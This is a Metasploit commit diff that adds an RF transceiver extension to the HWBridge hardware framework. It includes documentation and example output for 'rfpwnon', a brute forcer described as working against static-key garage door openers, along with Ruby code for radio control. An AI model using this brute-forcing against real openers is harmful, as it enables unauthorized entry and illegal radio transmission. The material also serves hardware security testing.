Land #7935, HWBridge RF transceiver extension
commit
f397624a69
|
@ -0,0 +1,88 @@
|
|||
Port of a brute force utility by LegacySecurityGroup, the original can be found
|
||||
[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py).
|
||||
It's a generic AM/OOK brute forcer with PWM translations. It has been
|
||||
demonstrated to work against static key garage door openers.
|
||||
|
||||
## Options ##
|
||||
|
||||
**FREQ**
|
||||
|
||||
Frequency to brute force.
|
||||
|
||||
**BAUD**
|
||||
|
||||
Baud rate. Default: 2000
|
||||
|
||||
**BINLENGTH**
|
||||
|
||||
Binary bit-length for bruteforcing. Default: 8
|
||||
|
||||
**REPEAT**
|
||||
|
||||
How many times to repeat the sending of the packet. Default: 5
|
||||
|
||||
**PPAD**
|
||||
|
||||
Binary data to append to packet. (Example: "0101") Default: None
|
||||
|
||||
**TPAD**
|
||||
|
||||
Binary data to add to end of packet. (Example: "0101") Default: None
|
||||
|
||||
**RAW**
|
||||
|
||||
Do not do PWM encoding on packet. Default: False
|
||||
|
||||
**TRI**
|
||||
|
||||
Use trinary signals. Default: False
|
||||
|
||||
**EXTRAVERBOSE**
|
||||
|
||||
Adds some extra status messages.
|
||||
|
||||
**INDEX**
|
||||
|
||||
USB Index number. Default: 0
|
||||
|
||||
**DELAY**
|
||||
|
||||
How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default: 500 (0.5 seconds)
|
||||
|
||||
## Scenarios
|
||||
|
||||
Run a brute force of 6 characters long with 2 repeats:
|
||||
|
||||
```
|
||||
hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2
|
||||
|
||||
[*] Generating de bruijn sequence...
|
||||
[*] Brute forcing frequency: 915000000
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000000
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101110
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000000
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101110
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000001
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101000
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000001
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101000
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000010
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111010001110
|
||||
[*] Transmitting...
|
||||
...
|
||||
```
|
|
@ -0,0 +1,40 @@
|
|||
Simple module to transmit a given frequency for a specified amount of seconds. This
|
||||
code was ported from [AndrewMohawk](https://github.com/AndrewMohawk).
|
||||
|
||||
NOTE: Users of this module should be aware of their local laws,
|
||||
regulations, and licensing requirements for transmitting on any
|
||||
given radio frequency.
|
||||
|
||||
|
||||
## Options ##
|
||||
|
||||
**FREQ**
|
||||
|
||||
Frequency to brute force.
|
||||
|
||||
**BAUD**
|
||||
|
||||
Baud rate. Default: 4800
|
||||
|
||||
**POWER**
|
||||
|
||||
Power level to specify. Default: 100
|
||||
|
||||
**SECONDS**
|
||||
|
||||
How many seconds to transmit the signal. Default: 4
|
||||
|
||||
**INDEX**
|
||||
|
||||
USB Index number. Default: 0
|
||||
|
||||
## Scenarios
|
||||
|
||||
Transmit a given signal for 4 seconds
|
||||
|
||||
```
|
||||
hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000
|
||||
|
||||
[*] Transmitting on 433880000 for 4 seconds...
|
||||
[*] Finished transmitting
|
||||
```
|
|
@ -167,6 +167,16 @@ class HWBridge < Rex::Post::HWBridge::Client
|
|||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Loads the rftransceiver extension
|
||||
#
|
||||
def load_rftransceiver
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
console.run_single('load rftransceiver')
|
||||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Load custom methods provided by the hardware
|
||||
#
|
||||
|
|
|
@ -3,4 +3,5 @@ module Msf::Post::Hardware
|
|||
require 'msf/core/post/hardware/automotive/uds'
|
||||
require 'msf/core/post/hardware/automotive/dtc'
|
||||
require 'msf/core/post/hardware/zigbee/utils'
|
||||
require 'msf/core/post/hardware/rftransceiver/rftransceiver'
|
||||
end
|
||||
|
|
|
@ -0,0 +1,298 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
class Post
|
||||
module Hardware
|
||||
module RFTransceiver
|
||||
|
||||
module RFTransceiver
|
||||
|
||||
attr_accessor :index
|
||||
|
||||
# Validates success of a function call
|
||||
# @param r [Hash] A hash in expected format { "success" => true }
|
||||
# @return [Boolean] if success is true or not, returns false if hash is wrong
|
||||
def return_success(r)
|
||||
return false if not r
|
||||
return false if not r.has_key? "success"
|
||||
return r["success"]
|
||||
end
|
||||
|
||||
# Checks to see if this module is a RF Transceiver module
|
||||
# @return [Boolean] true if client.rftransceiver is loaded
|
||||
def is_rf?
|
||||
return true if client.rftransceiver
|
||||
print_error("Not an RFTransceiver module")
|
||||
return false
|
||||
end
|
||||
|
||||
# Returns a list of supported USB indexes by relay
|
||||
# @return [Array] Example: [ 0, 1 ]
|
||||
def get_supported_indexes
|
||||
return [] if not is_rf?
|
||||
r = client.rftransceiver.supported_idx
|
||||
if r.has_key? "indexes"
|
||||
return r["indexes"]
|
||||
end
|
||||
print_error("Invalid response from relay")
|
||||
return []
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the target USB index
|
||||
# @param idx [Integer]
|
||||
def set_index(idx)
|
||||
self.index = idx
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the frequency
|
||||
# @param freq [Integer] Example: 433000000
|
||||
# @param mhz [Integer] Optional Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_freq(freq, mhz=-1)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["mhz"] = mhz if not mhz == -1
|
||||
r = client.rftransceiver.set_freq(self.index, freq, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the mode TX, RX or Idle
|
||||
# @param mode [String] Mode type TX/RX/IDLE
|
||||
# @return [Boolean] success value
|
||||
def set_mode(mode)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_mode(self.index, mode)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Gets supported modulations
|
||||
# @return [Array] String list of modulations
|
||||
def get_modulations
|
||||
return [] if not is_rf?
|
||||
self.index ||= 0
|
||||
return client.rftransceiver.get_supported_modulations(self.index)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the modulation
|
||||
# @param mod [String] Example ASK/OOK
|
||||
# @return [Boolean] success value
|
||||
def set_modulation(mod)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_modulation(self.index, mod)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets packet's fixed length
|
||||
# @param len [Integer] Length of packet
|
||||
# @return [Boolean] success value
|
||||
def set_flen(len)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.make_pkt_flen(self.index, len)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets packet's variable length
|
||||
# @param len [Integer] Length of packet
|
||||
# @return [Boolean] success value
|
||||
def set_vlen(len)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.make_pkt_vlen(self.index, len)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Transmits a RF Packet. All data is base64 encoded before transmition to relay
|
||||
# @param data [String] Blog of data stored in a string. Could be binary
|
||||
# @param repeat [Integer] Optional Repeat transmission
|
||||
# @param offset [Integer] Optional Offset within data section
|
||||
# @return [Boolean] success value
|
||||
def rfxmit(data, repeat=-1, offset=-1)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["repeat"] = repeat if not repeat == -1
|
||||
opts["offset"] = offset if not offset == -1
|
||||
r = client.rftransceiver.rfxmit(self.index, data, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Receive a packet
|
||||
# @param timeout [Integer] Optional timeout value
|
||||
# @param blocksize [Integer] Optional blocksize
|
||||
# @return [String] Base64 decoded data, could be binary
|
||||
def rfrecv(timeout = -1, blocksize = -1)
|
||||
return "" if not is_rf?
|
||||
self.index ||= 0
|
||||
opts["timeout"] = timeout if not timeout == -1
|
||||
opts["blocksize"] = blocksize if not blocksize == -1
|
||||
client.rftransceiver.rfrecv(self.index, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Enable packet CRC
|
||||
# @return [Boolean] success value
|
||||
def enable_crc
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.enable_packet_crc(self.index)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Enable Manchester encoding
|
||||
# @return [Boolean] success value
|
||||
def enable_manchester
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.enable_manchester(self.index)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the channel
|
||||
# @param channel [Integer] Channel number
|
||||
# @return [Boolean] success value
|
||||
def set_channel(channel)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_channel(self.index, channel)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the channel bandwidth
|
||||
# @param bandwidth [Integer] Bandwidth value
|
||||
# @param mhz [Integer] Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_channel_bw(bandwidth, mhz=-1)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["mhz"] = mhz if not mhz == -1
|
||||
r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Calculates the appropriate exponent and mantissa and updates the correct registers
|
||||
# chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly.
|
||||
# only use one or the other:
|
||||
# * chanspc
|
||||
# * chanspc_m and chanspc_e
|
||||
# @param chanspc [Integer]
|
||||
# @param chanspc_m [Integer]
|
||||
# @param chanspc_e [Integer]
|
||||
# @param mhz [Integer] Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["chanspc"] = chanspc if not chanspc == -1
|
||||
opts["chanspc_m"] = chanspc_m if not chanspc_m == -1
|
||||
opts["chanspc_e"] = chanspc_e if not chanspc_e == -1
|
||||
opts["mhz"] = mhz if not mhz == -1
|
||||
r = client.rftransceiver.set_channel_spc(self.index, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the baud rate
|
||||
# @param baud [Integer] baud rate
|
||||
# @param mhz [Integer] Optional Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_baud(baud, mhz=-1)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["mhz"] = mhz if not mhz == -1
|
||||
r = client.rftransceiver.set_baud_rate(self.index, baud, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the deviation
|
||||
# @param deviat [Integer] deviat value
|
||||
# @param mhz [Integer] Optional mhz
|
||||
# @return [Boolean] success value
|
||||
def set_deviation(deviat, mhz=-1)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["mhz"] = mhz if not mhz == -1
|
||||
r = client.rftransceiver.set_deviation(self.index, deviat, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets sync word
|
||||
# @param word [Integer] Sync word
|
||||
# @return [Boolean] success value
|
||||
def set_sync_word(word)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_sync_word(self.index, word)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the sync mode
|
||||
# @param mode [Integer] Mode
|
||||
# @return [Boolean] success value
|
||||
def set_sync_mode(mode)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_sync_mode(self.index, mode)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the number of preamble bits
|
||||
# @param bits [Integer] number of preamble bits to use
|
||||
# @return [Boolean] success value
|
||||
def set_preamble(bits)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_number_preamble(self.index, bits)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the power to max. Ensure you set the frequency first before using this
|
||||
# @return [Boolean] success value
|
||||
def max_power
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_maxpower(self.index)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set power level
|
||||
# @param level [Integer] Power level
|
||||
# @return [Boolean] success value
|
||||
def set_power(level)
|
||||
return false if not is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_power(self.index, level)
|
||||
return_success(r)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -70,6 +70,21 @@ class Client
|
|||
send_request("/custom_methods")
|
||||
end
|
||||
|
||||
#
|
||||
# Sends a reset signal to the device to perform a software bounce or a full
|
||||
# factory reset. Depends on how the device decided to handle it.
|
||||
#
|
||||
def reset
|
||||
send_request("/control/factory_reset")
|
||||
end
|
||||
|
||||
#
|
||||
# Sends a reboot signal to reboot the device.
|
||||
#
|
||||
def reboot
|
||||
send_request("/control/reboot")
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Alias processor
|
||||
|
|
|
@ -0,0 +1,203 @@
|
|||
#
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/hwbridge/client'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module HWBridge
|
||||
module Extensions
|
||||
module RFTransceiver
|
||||
|
||||
###
|
||||
# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX
|
||||
###
|
||||
|
||||
class RFTransceiver < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'rftransceiver')
|
||||
|
||||
# Alias the following things on the client object so that they
|
||||
# can be directly referenced
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'rftransceiver',
|
||||
'ext' => self
|
||||
}
|
||||
])
|
||||
end
|
||||
|
||||
# Gets supported USB Indexes
|
||||
# @return [Array] Indexes
|
||||
def supported_idx
|
||||
client.send_request("/rftransceiver/supported_idx")
|
||||
end
|
||||
|
||||
# Sets the frequency
|
||||
# @param idx [Integer] HW Index
|
||||
# @param opt [Hash] Optional: "mhz" => 24
|
||||
# @param freq [Integer] Frequency to set
|
||||
def set_freq(idx, freq, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}"
|
||||
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
# Retrieves a list of supported Modulations
|
||||
# @param idx [Integer] HW Index
|
||||
# @return [Array] of Modulation strings
|
||||
def get_supported_modulations(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/get_modulations")
|
||||
end
|
||||
|
||||
# Sets the mode
|
||||
# @param idx [Integer] HW Index
|
||||
# @param mode [String] Either RX, TX or IDLE
|
||||
def set_mode(idx, mode)
|
||||
client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}")
|
||||
end
|
||||
|
||||
# Sets the modulation value
|
||||
# @param idx [Integer] HW Index
|
||||
# @param mod [String] Modulation Technique
|
||||
def set_modulation(idx, mod)
|
||||
client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}")
|
||||
end
|
||||
|
||||
# Sets fixed packet len
|
||||
# @param idx [Integer] HW Index
|
||||
# @param len [Integer] Length to set
|
||||
def make_pkt_flen(idx, len)
|
||||
client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}")
|
||||
end
|
||||
|
||||
# Sets variable packet len
|
||||
# @param idx [Integer] HW Index
|
||||
# @param len [Integer] Length to set
|
||||
def make_pkt_vlen(idx, len)
|
||||
client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}")
|
||||
end
|
||||
|
||||
# Transmits data
|
||||
# @param idx [Integer] HW Index
|
||||
# @param data [String] Data to transmit
|
||||
# @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer
|
||||
def rfxmit(idx, data, opt={})
|
||||
data = Base64.urlsafe_encode64(data)
|
||||
request = "/rftransceiver/#{idx}/rfxmit?data=#{data}"
|
||||
request += "&repeat=#{opt["repeat"]}" if opt.has_key? "repeat"
|
||||
request += "&offset=#{opt["offset"]}" if opt.has_key? "offset"
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
# Receives a packet
|
||||
# @param idx [Integer] HW Index
|
||||
# @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer
|
||||
# @return [Hash] "data" => <recieved data> "timestamp" => When it was received
|
||||
def rfrecv(idx, opt={})
|
||||
request = "/rftransceiver/#{idx}/rfrecv"
|
||||
if opt.size() > 0
|
||||
first = true
|
||||
request += "?"
|
||||
if opt.has_key? "timeout"
|
||||
request += "timeout=#{opt["timeout"]}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? "blocksize"
|
||||
request += "&" if not first
|
||||
request += "blocksize=#{blocksize}"
|
||||
end
|
||||
end
|
||||
data = client.send_request(request)
|
||||
# Note the data is initially base64 encoded
|
||||
if data.size() > 0
|
||||
data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data"
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def enable_packet_crc(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/enable_packet_crc")
|
||||
end
|
||||
|
||||
def enable_manchester(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/enable_machester")
|
||||
end
|
||||
|
||||
def set_channel(idx, channel)
|
||||
client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}")
|
||||
end
|
||||
|
||||
def set_channel_bandwidth(idx, bandwidth, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}"
|
||||
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_channel_spc(idx, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_channel_spc"
|
||||
if opt.size > 0
|
||||
request += "?"
|
||||
first = true
|
||||
if opt.has_key? "chanspc"
|
||||
request += "chanspc=#{opt["chanspc"]}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? "chanspc_m"
|
||||
request += "&" if not first
|
||||
request += "chanspc_m=#{opt["chanspc_m"]}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? "chanspc_e"
|
||||
request += "&" if not first
|
||||
request += "chanspc_e=#{opt["chanspc_e"]}"
|
||||
first = false
|
||||
end
|
||||
if opt.has_key? "mhz"
|
||||
request += "&" if not first
|
||||
request += "mhz=#{opt["mhz"]}"
|
||||
end
|
||||
end
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_baud_rate(idx, rate, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}"
|
||||
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_deviation(idx, deviat, opt={})
|
||||
request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}"
|
||||
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
|
||||
client.send_request(request)
|
||||
end
|
||||
|
||||
def set_sync_word(idx, word)
|
||||
client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}")
|
||||
end
|
||||
|
||||
def set_sync_mode(idx, mode)
|
||||
client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}")
|
||||
end
|
||||
|
||||
def set_number_preamble(idx, num)
|
||||
client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}")
|
||||
end
|
||||
|
||||
def set_maxpower(idx)
|
||||
client.send_request("/rftransceiver/#{idx}/set_maxpower")
|
||||
end
|
||||
|
||||
def set_power(idx, power)
|
||||
client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core
|
|||
"bglist" => "Lists running background scripts",
|
||||
"status" => "Fetch bridge status information",
|
||||
"specialty" => "Hardware devices specialty",
|
||||
"reset" => "Resets the device (NOTE: on some devices this is a FULL FACTORY RESET)",
|
||||
"reboot" => "Reboots the device (usually only supported by stand-alone devices)",
|
||||
"load_custom_methods" => "Loads custom HW commands if any"
|
||||
}
|
||||
|
||||
|
@ -177,6 +179,9 @@ class Console::CommandDispatcher::Core
|
|||
op = "No" if status["operational"] == 2
|
||||
print_status("Operational: #{op}")
|
||||
end
|
||||
print_status("Device: #{status["device_name"]}") if status.has_key? "device_name"
|
||||
print_status("FW Version: #{status["fw_version"]}") if status.has_key? "fw_version"
|
||||
print_status("HW Version: #{status["hw_version"]}") if status.has_key? "hw_version"
|
||||
end
|
||||
|
||||
def cmd_specialty_help
|
||||
|
@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core
|
|||
print_line client.exploit.hw_specialty.to_s
|
||||
end
|
||||
|
||||
def cmd_reset_help
|
||||
print_line("Resets the device. In some cases this can be used to perform a factory reset")
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Performs a device reset or factory reset
|
||||
#
|
||||
def cmd_reset(*args)
|
||||
if args.length > 0
|
||||
cmd_reset_help
|
||||
return
|
||||
end
|
||||
client.reset
|
||||
end
|
||||
|
||||
def cmd_reboot_help
|
||||
print_line("Reboots the device. This command typically only works on independent devices that")
|
||||
print_line("are not attached to a laptop or other system")
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Perform a device reboot
|
||||
#
|
||||
def cmd_reboot(*args)
|
||||
if args.length > 0
|
||||
cmd_reboot_help
|
||||
return
|
||||
end
|
||||
client.reboot
|
||||
end
|
||||
|
||||
def cmd_load_custom_methods_help
|
||||
print_line("Usage: load_custom_methods")
|
||||
print_line
|
||||
|
|
|
@ -0,0 +1,587 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/hwbridge'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module HWBridge
|
||||
module Ui
|
||||
###
|
||||
# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX
|
||||
###
|
||||
class Console::CommandDispatcher::RFtransceiver
|
||||
include Console::CommandDispatcher
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
all = {
|
||||
'supported_idx' => 'suppored USB indexes',
|
||||
'idx' => 'sets an active idx',
|
||||
'freq' => 'sets the frequency',
|
||||
'modulation' => 'sets the modulation',
|
||||
'flen' => 'sets the fixed length packet size',
|
||||
'vlen' => 'sets the variable length packet size',
|
||||
'xmit' => 'transmits some data',
|
||||
'recv' => 'receive a packet of data',
|
||||
'enable_crc' => 'enables crc',
|
||||
'enable_manchester' => 'enables manchester encoding',
|
||||
'channel' => 'sets channel',
|
||||
'channel_bw' => 'sets the channel bandwidth',
|
||||
'baud' => 'sets the baud rate',
|
||||
'deviation' => 'sets the deviation',
|
||||
'sync_word' => 'sets the sync word',
|
||||
'preamble' => 'sets the preamble number',
|
||||
'power' => 'sets the power level',
|
||||
'maxpower' => 'sets max power'
|
||||
}
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
def cmd_supported_idx
|
||||
indexes = client.rftransceiver.supported_idx
|
||||
if not indexes or not indexes.has_key? "indexes"
|
||||
print_line("error retrieving index list")
|
||||
return
|
||||
end
|
||||
indexes = indexes["indexes"]
|
||||
if not indexes.size > 0
|
||||
print_line("none")
|
||||
return
|
||||
end
|
||||
self.idx = indexes[0].to_i if indexes.size == 0
|
||||
str = "Supported Indexes: "
|
||||
str += indexes.join(', ')
|
||||
str += "\nUse idx to set your desired bus, default is 0"
|
||||
print_line(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the USB IDS
|
||||
#
|
||||
def cmd_idx(*args)
|
||||
self.idx = 0
|
||||
idx_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-i' => [ true, 'USB index, default 0' ]
|
||||
)
|
||||
idx_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: idx -i <Index number>\n")
|
||||
print_line(idx_opts.usage)
|
||||
return
|
||||
when '-i'
|
||||
self.idx = val
|
||||
end
|
||||
end
|
||||
print_line("set index to #{self.idx}")
|
||||
end
|
||||
|
||||
def cmd_freq_help
|
||||
print_line("Sets the RF Frequency\n")
|
||||
print_line("Usage: freq -f <frequency number>")
|
||||
print_line("\nExample: freq -f 433000000")
|
||||
end
|
||||
|
||||
#
|
||||
# Takes the results of a client request and prints Ok on success
|
||||
#
|
||||
def print_success(r)
|
||||
if r.has_key? "success" and r["success"] == true
|
||||
print_line("Ok")
|
||||
else
|
||||
print_line("Error")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the frequency
|
||||
#
|
||||
def cmd_freq(*args)
|
||||
self.idx ||= 0
|
||||
freq = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-f' => [ true, 'frequency to set, example: 433000000' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: freq -f <frequency number>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-f'
|
||||
freq = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if freq == -1
|
||||
cmd_freq_help
|
||||
return
|
||||
end
|
||||
arg["mhz"] = mhz if mhz
|
||||
r = client.rftransceiver.set_freq(idx, freq, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_modulation_help
|
||||
print_line("Usage: modulation -M <Modulation name>\n")
|
||||
print_line("Modulation names:\n")
|
||||
print_line(" #{client.rftransceiver.get_supported_modulations(idx)}")
|
||||
print_line("\nExample: modulation -M ASK/OOK")
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the modulation
|
||||
#
|
||||
def cmd_modulation(*args)
|
||||
self.idx ||= 0
|
||||
mod = nil
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-M' => [ true, 'Modulation name, See help for options' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_modulation_help
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-M'
|
||||
mod = val
|
||||
end
|
||||
end
|
||||
if not mod
|
||||
cmd_modulation_help
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_modulation(idx, mod)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the fixed length
|
||||
#
|
||||
def cmd_flen(*args)
|
||||
self.idx ||= 0
|
||||
flen = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-l' => [ true, 'Fixed Length' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: flen -l <length>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-l'
|
||||
flen = val.to_i
|
||||
end
|
||||
end
|
||||
if flen == -1
|
||||
print_line("You must specify a length")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.make_pkt_flen(idx, flen)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the variable length
|
||||
#
|
||||
def cmd_vlen(*args)
|
||||
self.idx ||= 0
|
||||
vlen = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-l' => [ true, 'Variable Length' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: vlen -l <length>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-l'
|
||||
vlen = val.to_i
|
||||
end
|
||||
end
|
||||
if vlen == -1
|
||||
print_line("You must specify a length")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.make_pkt_vlen(idx, vlen)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Xmit packet
|
||||
#
|
||||
def cmd_xmit(*args)
|
||||
self.idx ||= 0
|
||||
data = nil
|
||||
repeat = -1
|
||||
offset = -1
|
||||
arg = {}
|
||||
